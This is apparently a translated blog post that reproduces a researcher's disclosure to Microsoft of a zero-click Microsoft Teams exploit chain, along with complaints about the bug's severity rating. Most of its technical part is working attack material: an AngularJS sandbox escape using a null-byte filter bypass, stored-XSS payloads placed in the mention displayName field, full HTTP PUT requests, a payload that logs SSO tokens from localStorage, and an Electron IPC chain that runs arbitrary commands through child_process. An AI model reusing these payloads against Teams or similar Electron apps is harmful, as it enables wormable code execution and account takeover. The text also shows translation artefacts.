We found a dangerous vulnerability in Microsoft Teams, but the company fixed it only after two months


TL; DR:

  • On August 31, 2020, we reported critical bugs in remote code execution in Microsoft Teams.
  • On September 30, 2020, Microsoft rated them “Important, Spoofing” – one of the lowest.
  • A new joke was instantly born in our team.
  • Microsoft declined to discuss the impact of these bugs in detail, and finalized on November 19, 2020
  • With regard to CVE, Microsoft’s current policy is not to publish CVE products that are automatically updated without user action – November 30, 2020
  • Bugs fixed by the end of October 2020

Microsoft Security Response Center Rating – “Important, Spoofing”

Microsoft has adopted this chain of bugs in O365 cloud bug bounty program as “Important” (level of severity), “Spoofing” (impact). This is one of the lowest ratings.

At least now a new joke has appeared in our team – when we find a bug of remote code execution (RCE), we call it “Important, Spoofing”. Thank you Microsoft!

To be completely honest, a separate rating “Critical, Remote Code Execution” was assigned for the desktop application, but only for “Microsoft Points”! Microsoft glasses let you get into MSRC leaderboard

In this article, we will discuss one of five Microsoft Teams remote code execution bug chains reported to MSRC, requiring one click or no clicks at all (“Important, Spoofing”).

Thank you Oscars Vegeris

Bug impact – execution of remote code that does not require user action

  • The attacker sends or edits an existing message that looks completely normal to the victim.
  • The victim executes the code by simply looking at the message.

That’s all. No further intervention is required on the part of the victim. Now your company’s intranet, personal documents, O365 documents / mail / notes, secret chats are completely compromised. Think about it. One message, one channel, no interaction. Everyone is exposed to an exploit.

Let’s explain in a little more detail. What if the recipients then automatically post this message to their teams and channels? The exploit applies to everyone. Did you know that you can be a guest in other organizations? You probably have several guests in your organization. They are most likely in their own organizations, and those organizations likely have guests of their own who have their own organizations who … Yes, this bug can be turned into a worm that spreads across the Microsoft Teams network, at least within the organization.

Demonstrating the bug is pretty boring – just a single non-interactive HTTP request is enough.

Having received a rating of “Important, Spoofing”, I submitted a list of points that I considered to be the real impact of the bug as an argument for the MSRC staff. The discussion was almost inconsequential, they just reshuffled the ratings. Each answer took weeks, and each time I had to remind myself.

About three months later, we came to the following: the rating “Important, Spoofing” and the fact that the desktop client (execution of remote code) is “out of scope”.

Of course, Microsoft can move the desktop application out of the bug, which I think is absurd since it is advertised as the primary way to work with Microsoft Teams … but why is it just “Important” and what is “spoofing”?

“Important, Spoofing” point by point

  • Stored XSS attack that does not require user intervention. Affects all types of message streams – private, streams, groups, etc.
  • Self-replicating worm – the victim shares the payload with all contacts and groups. Everyone repost to their contacts, groups (guests also have access to organizations, as well as access to their own organizations, etc.)
  • Stealing SSO tokens for all users of the organization – from XSS, for example, when an account is taken over, you get access to all Office 365 SSO tokens, that is, access to all mail, documents, company notes – everything in O365
  • Access to private correspondence, messages, files, call logs and everything else that is in MS Teams
  • Promotion to the level of MS Teams Admin organization
  • Accessing microphone / camera using XSS (as far as I know, at least in the web versions for Chrome)
  • Cross-platform (macOS, Windows, Linux) execution of arbitrary commands on the victim’s devices, which does not require the victim’s participation
  • Complete loss of privacy and integrity for end users – access to private chats, files, intranet, private keys and personal data outside MS Teams
  • Keylogging, access to microphone, camera, etc.

Ever wondered how MS Teams is able to “seamlessly” access everything in your O365? Attackers don’t ask that question – they do it the way Teams does.

What is included in the report

  • Bypass AngularJS Expression Injection Protection
  • Exit the AngularJS sandbox to execute arbitrary JS code
  • CSP bypass (using AngularJS)
  • Malicious use of the Microsoft Teams “download and execute file” API to implement RCE
  • Additional versatile Electron payload [вырезано] for RCE, which is included in the attachments to the video / media report
  • Both RCE payloads allow you to bypass the Electron application protection specific to Microsoft Teams, however they can probably be universally adapted to older versions of ElectronJS with similar security restrictions.

ElectronJS protection in MS Teams: remote-require disabled and filtered, nodeIntegration equally false, creation webview is filtered and normally removes unsafe parameters / options. Can’t just import child_process and execute arbitrary code or create webview with its own option preload

Demo and RCE

Payload [вырезано]invisible to the victim (no new window opens)

Well, yes, the injected template string is visible for a split second, but normally the user will not see it. This is evidenced by the following demo and all other AngularJS boilerplate strings that you don’t see in Teams. I associate this glitch with the HTTP proxy, overall application slowness, live reload and the fact that this is a demo, which means it is simple obliged have errors 🙂

// по требованию Microsoft полезная нагрузка RCE, не создающая новых окон, засекречена примерно до 2021 года

Payload with a new window

An empty window can contain arbitrary content, any size and appearance – it is now “suspiciously empty” because this is a test of concept.

The original MOV file is located here

No user intervention is required, the exploit is executed when viewing a chat message. This exploit bypasses webview restrictions and maliciously uses the MS Teams API to “download” a file and use it as preload (nodeJS context) for webview… Teams filters creation webviewby filtering out preload and other dangerous options, but this method can bypass the check. Probably the same approach can be used in older ElectronJS apps.

cmd = `open /System/Applications/Calculator.app` // change to windows/linux command as required

stage1 = `data:text/plain,cp=require('child_process');cp.exec('${cmd}')`; // create a virtual file to download
this.electronSafeIpc.send(`desktopFileDownload`, stage1); // request to download file

// implement an event handler when files downloaded to trigger payload
this.electronSafeIpc.on(`desktop-file-download-finished`, (_, fileinfo) => { 
        f = fileinfo.uniqueFile.filePath; // event gives us file path which we don't know beforehand
        
        // create a new webview mockup - window with a webview tag and our virtual, downloaded file as preload
        stage2 = `data:text/html,<webview src="https://habr.com/ru/company/vdsina/blog/532210/about:blank" preload='file:///${f}'></webview>`
        this.electronSafeIpc.send(`allowWindowOpenUrl`, stage2); // abusing MS Teams IPC API to allow above URL
        this.w = window.open(stage2); // URL gets opened, webview gets created with our virtual, downloaded file preload
        setTimeout(()=>{this.w.close()},1000) // not necessary, but let's close the custom window
    }
)

Below is the original bug report submitted to MSRC

Summary

A Remote Code Execution vulnerability has been discovered in the MS Teams desktop application, which can be triggered by a new XSS (Cross-Site Scripting) injection in teams.microsoft.com. Any member or channel in Microsoft Teams can send a specially crafted chat message that will execute arbitrary code on a user’s computer WITHOUT HIS INVOLVEMENT.

We managed to implement Remote Code Execution in desktop applications on all supported platforms (Windows, macOS, Linux). Executing the code gives attackers full access to the victim’s devices, and through these devices – to the company’s internal networks.

Even without executing arbitrary code on the user’s device using the demonstrated XSS, an attacker can obtain SSO authorization tokens for Microsoft Teams and other Microsoft services (for example, Skype, Outlook, Office365). Moreover, the vulnerability to XSS itself allows you to provide access to confidential / private correspondence, files, etc. from MS Teams.

Such attacks can be carried out by guest users completely invisibly, without any user action or signs of compromise.

Products affected by this bug:

  • Microsoft Teams (teams.microsoft.com) – Cross-Site Scripting
  • Microsoft Teams macOS v 1.3.00.23764 (latest version as of 08/31/2020)
  • Microsoft Teams Windows v 1.3.00.21759 (latest version as of 08/31/2020)
  • Microsoft Teams Linux v 1.3.00.16851 (latest version as of 08/31/2020)

Impact

  • Wormable – the ability to automatically repost exploit payloads to other companies, channels and users without any action on their part
  • Execution of arbitrary commands in the victim’s devices without actions on the part of the victim
  • Complete loss of privacy and integrity for end users – access to private chats, files, intranet, private keys and personal data outside MS Teams
  • Access to SSO tokens, and hence to other Microsoft services (Outlook, Office365, etc.)
  • Potential phishing attacks by redirecting to the attacker’s website or by prompting for SSO credentials
  • Keylogging with a custom payload

Description

This report contains a new XSS vector and a new RCE payload that are used together. They affect the chat system in Microsoft Teams and can be used, for example, in private messages and channels.

A chain of two vulnerabilities is used to implement RCE in Microsoft Teams:

  • Stored XSS in teams.microsoft.com chat – in the “mention” user function
  • New cross-platform custom JS exploit for MS Teams desktop clients

Stored XSS at teams.microsoft.com

How to reproduce

  1. Enter a chat message in a private conversation or in a channel by mentioning a user or tag of that chat
  2. Edit a chat message containing a mention and intercept with an HTTP proxy like Burp Suite

In the mention function, the vulnerable parameter is displayName in the JSON structure of the message { content: "...", properties: { "mentions" : "[{ displayName: PAYLOAD HERE }]"

The request should look something like this, pay attention to displayName:

PUT /v1/users/ME/conversations/19%3A9bc6400d2fc7443487491898c6803e46%40thread.tacv2/messages/1598607494949 HTTP/1.1
Host: emea.ng.msg.teams.microsoft.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:81.0) Gecko/20100101 Firefox/81.0
Accept: json
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/json
Authentication: skypetoken=...snip...
ClientInfo: os=macos; osVer=10; proc=x86; lcid=en-us; deviceType=1; country=us; clientName=skypeteams; clientVer=1415/1.0.0.2020080725; utcOffset=+03:00
BehaviorOverride: redirectAs404
Content-Length: 1174


{"content":"<div><div>n<div>n<div>n<div>n<div><span itemscope itemtype="http://schema.skype.com/Mention" itemid="0">dada</span></div>n</div>n</div>n</div>n</div>n</div>","messagetype":"RichText/Html","contenttype":"text","amsreferences":[],"clientmessageid":"9868848366534370000","imdisplayname":"Oskars Vegeris","properties":{"importance":"","subject":null,"mentions":"[{"@type":"http://schema.skype.com/Mention","itemid":0,"tagId":"tHab2TLzpa","mri":"tHab2TLzpa","mentionType":"tag","displayName":"x marks the spot"}]"}}

Angular expression filtering can be bypassed by injecting null byte character in Unicode u0000, eg:

{{3*333}u0000}

To get user access to local storage and all SSO tokens use this payload in displayName from the above HTTP PUT request.

{{['if(typeof onetime==`undefined`){onetime=1;console.log(localStorage);}'].forEach($root.$$childHead.$$nextSibling.app.$window.eval)}u0000}

Full HTTP request for logging SSO token:

PUT /v1/users/ME/conversations/19%3A9bc6400d2fc7443487491898c6803e46%40thread.tacv2/messages/1598607494949 HTTP/1.1
Host: emea.ng.msg.teams.microsoft.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:81.0) Gecko/20100101 Firefox/81.0
Accept: json
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/json
Authentication: skypetoken=...snip...
ClientInfo: os=macos; osVer=10; proc=x86; lcid=en-us; deviceType=1; country=us; clientName=skypeteams; clientVer=1415/1.0.0.2020080725; utcOffset=+03:00
BehaviorOverride: redirectAs404
Content-Length: 1174


{"content":"<div><div>n<div>n<div>n<div>n<div><span itemscope itemtype="http://schema.skype.com/Mention" itemid="0">dada</span></div>n</div>n</div>n</div>n</div>n</div>","messagetype":"RichText/Html","contenttype":"text","amsreferences":[],"clientmessageid":"9868848366534370000","imdisplayname":"Oskars Vegeris","properties":{"importance":"","subject":null,"mentions":"[{"@type":"http://schema.skype.com/Mention","itemid":0,"tagId":"tHab2TLzpa","mri":"tHab2TLzpa","mentionType":"tag","displayName":"x marks the spot{{['if(typeof onetime==`undefined`){onetime=1;console.log(localStorage);}'].forEach($root.$$childHead.$$nextSibling.app.$window.eval)}u0000}"}]"}}

This request will log the user’s local storage as a proof of concept for XSS.

No other action is required. All users in the chat will start logging their SSO tokens that can be retrieved.

You can check this by exploring the developer tools either in the desktop version of Microsoft Teams or in any browser.

Remote Code Execution and Payload

A new remote code execution payload has been developed that bypasses all restrictions currently implemented (remote require, node integration, webview preload filtering, etc.) in the Microsoft Teams desktop version. It should work even when turned on contextIsolation

cmd = `open /Applications/Calculator.app` // change to windows/linux command as required

stage1 = `data:text/plain,cp=require('child_process');cp.exec('${cmd}')`; // create a virtual file to download
this.electronSafeIpc.send(`desktopFileDownload`, stage1); // request to download file

// implement an event handler when files downloaded to trigger payload
this.electronSafeIpc.on(`desktop-file-download-finished`, (_, fileinfo) => { 
        f = fileinfo.uniqueFile.filePath; // event gives us file path which we don't know beforehand
        
        // create a new webview mockup - window with a webview tag and our virtual, downloaded file as preload
        stage2 = `data:text/html,<webview src="https://habr.com/ru/company/vdsina/blog/532210/about:blank" preload='file:///${f}'></webview>`
        this.electronSafeIpc.send(`allowWindowOpenUrl`, stage2); // abusing MS Teams IPC API to allow above URL
        this.w = window.open(stage2); // URL gets opened, webview gets created with our virtual, downloaded file preload
        setTimeout(()=>{this.w.close()},1000) // not necessary, but let's close the custom window
    }
)

Shortened version for HTTP PUT request; improved by being executed only once per reload:

{{['if(typeof mentiontime==`undefined`){mentiontime=1;stage1=`data:text/plain,cp=require(\"child_process\");cp.exec(\"open /System/Applications/Calculator.app\")`;this.electronSafeIpc.send(`desktopFileDownload`,stage1);this.electronSafeIpc.on(`desktop-file-download-finished`,(_,fileinfo)=>{f=fileinfo.uniqueFile.filePath;stage2=`data:text/html,<webview src=\"about:blank\" preload=\"file:///${f}\"></webview>`;this.electronSafeIpc.send(`allowWindowOpenUrl`,stage2);this.w=window.open(stage2);setTimeout(()=>{this.w.close()},2000)})}'].forEach($root.$$childHead.$$nextSibling.app.$window.eval)}u0000}

Full HTTP request with RCE payload:

PUT /v1/users/ME/conversations/19%3A9bc6400d2fc7443487491898c6803e46%40thread.tacv2/messages/1598607494949 HTTP/1.1
Host: emea.ng.msg.teams.microsoft.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:81.0) Gecko/20100101 Firefox/81.0
Accept: json
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/json
Authentication: ...snip...
ClientInfo: os=macos; osVer=10; proc=x86; lcid=en-us; deviceType=1; country=us; clientName=skypeteams; clientVer=1415/1.0.0.2020080725; utcOffset=+03:00
BehaviorOverride: redirectAs404
Content-Length: 1174


{"content":"<div><div>n<div>n<div>n<div>n<div><span itemscope itemtype="http://schema.skype.com/Mention" itemid="0">dada</span></div>n</div>n</div>n</div>n</div>n</div>","messagetype":"RichText/Html","contenttype":"text","amsreferences":[],"clientmessageid":"9868848366534370000","imdisplayname":"Oskars Vegeris","properties":{"importance":"","subject":null,"mentions":"[{"@type":"http://schema.skype.com/Mention","itemid":0,"tagId":"tHab2TLzpa","mri":"tHab2TLzpa","mentionType":"tag","displayName":"x marks the spot{{['if(typeof mentiontime==`undefined`){mentiontime=1;stage1=`data:text/plain,cp=require(\"child_process\");cp.exec(\"open /System/Applications/Calculator.app\")`;this.electronSafeIpc.send(`desktopFileDownload`,stage1);this.electronSafeIpc.on(`desktop-file-download-finished`,(_,fileinfo)=>{f=fileinfo.uniqueFile.filePath;stage2=`data:text/html,<webview src=\"about:blank\" preload=\"file:///${f}\"></webview>`;this.electronSafeIpc.send(`allowWindowOpenUrl`,stage2);this.w=window.open(stage2);setTimeout(()=>{this.w.close()},2000)})}'].forEach($root.$$childHead.$$nextSibling.app.$window.eval)}u0000}"}]"}}

Note: the command should be changed, the code shows the command for macOS Catalina open /System/Applications/Calculator.app

No user action is required, a simple visit to the chat will lead to the execution of arbitrary code.

Supporting materials / links:

[1] – Video demo, screenshots

[2] – https://www.electronjs.org/docs/tutorial/security

SSO / cookie information

List of SSO token IDs in localStorage and cookie options available from JavaScript in Microsoft Teams

SSO Tokens:

adal.nonce.idtoken
ts.09ccd856-c12e-4228-acf6-a19af826be77.auth.skype.token
ts.09ccd856-c12e-4228-acf6-a19af826be77.cache.token.4580fd1d-e5a3-4f56-9ad1-aab0e3bf8f76
ts.09ccd856-c12e-4228-acf6-a19af826be77.cache.token.cf53fce8-def6-4aeb-8d30-b158e7b1cf83
ts.09ccd856-c12e-4228-acf6-a19af826be77.cache.token.https://*.microsoftstream.com
ts.09ccd856-c12e-4228-acf6-a19af826be77.cache.token.https://api.spaces.skype.com
ts.09ccd856-c12e-4228-acf6-a19af826be77.cache.token.https://chatsvcagg.teams.microsoft.com
ts.09ccd856-c12e-4228-acf6-a19af826be77.cache.token.https://emea.presence.teams.microsoft.com/
ts.09ccd856-c12e-4228-acf6-a19af826be77.cache.token.https://evolutiongaming-my.sharepoint.com
ts.09ccd856-c12e-4228-acf6-a19af826be77.cache.token.https://evolutiongaming-my.sharepoint.com/
ts.09ccd856-c12e-4228-acf6-a19af826be77.cache.token.https://evolutiongaming.sharepoint.com
ts.09ccd856-c12e-4228-acf6-a19af826be77.cache.token.https://evolutiongaming.sharepoint.com/
ts.09ccd856-c12e-4228-acf6-a19af826be77.cache.token.https://forms.office.com
ts.09ccd856-c12e-4228-acf6-a19af826be77.cache.token.https://loki.delve.office.com/
ts.09ccd856-c12e-4228-acf6-a19af826be77.cache.token.https://management.core.windows.net/
ts.09ccd856-c12e-4228-acf6-a19af826be77.cache.token.https://onenote.com/
ts.09ccd856-c12e-4228-acf6-a19af826be77.cache.token.https://outlook.office.com/
ts.09ccd856-c12e-4228-acf6-a19af826be77.cache.token.https://outlook.office365.com
ts.09ccd856-c12e-4228-acf6-a19af826be77.cache.token.https://outlook.office365.com/connectors
ts.09ccd856-c12e-4228-acf6-a19af826be77.cache.token.https://presence.teams.microsoft.com/
ts.09ccd856-c12e-4228-acf6-a19af826be77.cache.token.https://service.powerapps.com/
ts.09ccd856-c12e-4228-acf6-a19af826be77.cache.token.https://teams.microsoft.com
ts.09ccd856-c12e-4228-acf6-a19af826be77.cache.token.https://uis.teams.microsoft.com
ts.09ccd856-c12e-4228-acf6-a19af826be77.cache.token.https://web.microsoftstream.com
ts.09ccd856-c12e-4228-acf6-a19af826be77.cache.token.https://whiteboard.microsoft.com

Potentially vulnerable cookies accessible from JavaScript:

sessionId
TSAUTHCOOKIE
SSOAUTHCOOKIE

Advertising

Epic servers – this is VPS for any task. You can create your own tariff plan, the maximum configuration is 128 CPU cores, 512 GB RAM, 4000 GB NVMe!

Similar Posts

Leave a Reply

Your email address will not be published. Required fields are marked *